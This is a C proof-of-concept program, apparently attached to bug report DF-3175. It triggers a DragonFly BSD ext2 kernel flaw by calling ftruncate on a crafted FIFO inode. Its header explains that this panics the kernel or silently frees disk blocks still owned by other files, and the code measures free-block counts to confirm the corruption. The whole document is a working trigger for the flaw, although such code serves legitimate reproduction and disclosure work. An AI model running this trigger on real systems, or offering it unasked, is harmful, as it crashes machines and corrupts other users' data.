DF-3175 / trigger.c
/* * DF-3175 trigger — ftruncate() a crafted FIFO inode on ext2. * * ./trigger <fifo-path> * * Opens the FIFO O_RDWR (never blocks, satisfies FWRITE) and calls * ftruncate(fd, 0). On an unpatched DragonFly kernel this runs * ext2_truncate() on a VFIFO vnode: ext2_ind_truncate() frees the * inode's i_db[] slots as disk blocks. * * targetA (db[] = clear-bit blocks) -> panic("ext2_blkfree: freeing * free block") [kernel dies] * targetB (db[0] = live 'victim' blk)-> silent free, f_bfree += 1 * * Prints statfs(2) f_bfree before/after so the silent-free case is * observable without kernel-side instrumentation. */ #include <sys/types.h> #include <sys/statvfs.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { const char *path; struct statvfs pre, post; int fd, rc; if (argc != 2) { fprintf(stderr, "usage: %s <fifo-path>\n", argv[0]); return (2); } path = argv[1]; if (statvfs(path, &pre) != 0) { fprintf(stderr, "[trigger] statvfs(pre): %s\n", strerror(errno)); return (2); } printf("[trigger] pre : f_bfree=%llu f_blocks=%llu\n", (unsigned long long)pre.f_bfree, (unsigned long long)pre.f_blocks); fd = open(path, O_RDWR); if (fd < 0) { fprintf(stderr, "[trigger] open(%s): %s\n", path, strerror(errno)); return (2); } printf("[trigger] opened %s (fd=%d), calling ftruncate(fd, 0)...\n", path, fd); fflush(stdout); rc = ftruncate(fd, 0); printf("[trigger] ftruncate returned rc=%d errno=%d (%s)\n", rc, errno, rc ? strerror(errno) : "success"); fflush(stdout); if (statvfs(path, &post) == 0) { long long d = (long long)post.f_bfree - (long long)pre.f_bfree; printf("[trigger] post: f_bfree=%llu (delta %lld)\n", (unsigned long long)post.f_bfree, d); if (d > 0) printf("[trigger] SILENT FREE CONFIRMED: %lld block(s) " "freed that are still owned by other files\n", d); } else { fprintf(stderr, "[trigger] statvfs(post): %s\n", strerror(errno)); } close(fd); return (rc ? 1 : 0); } |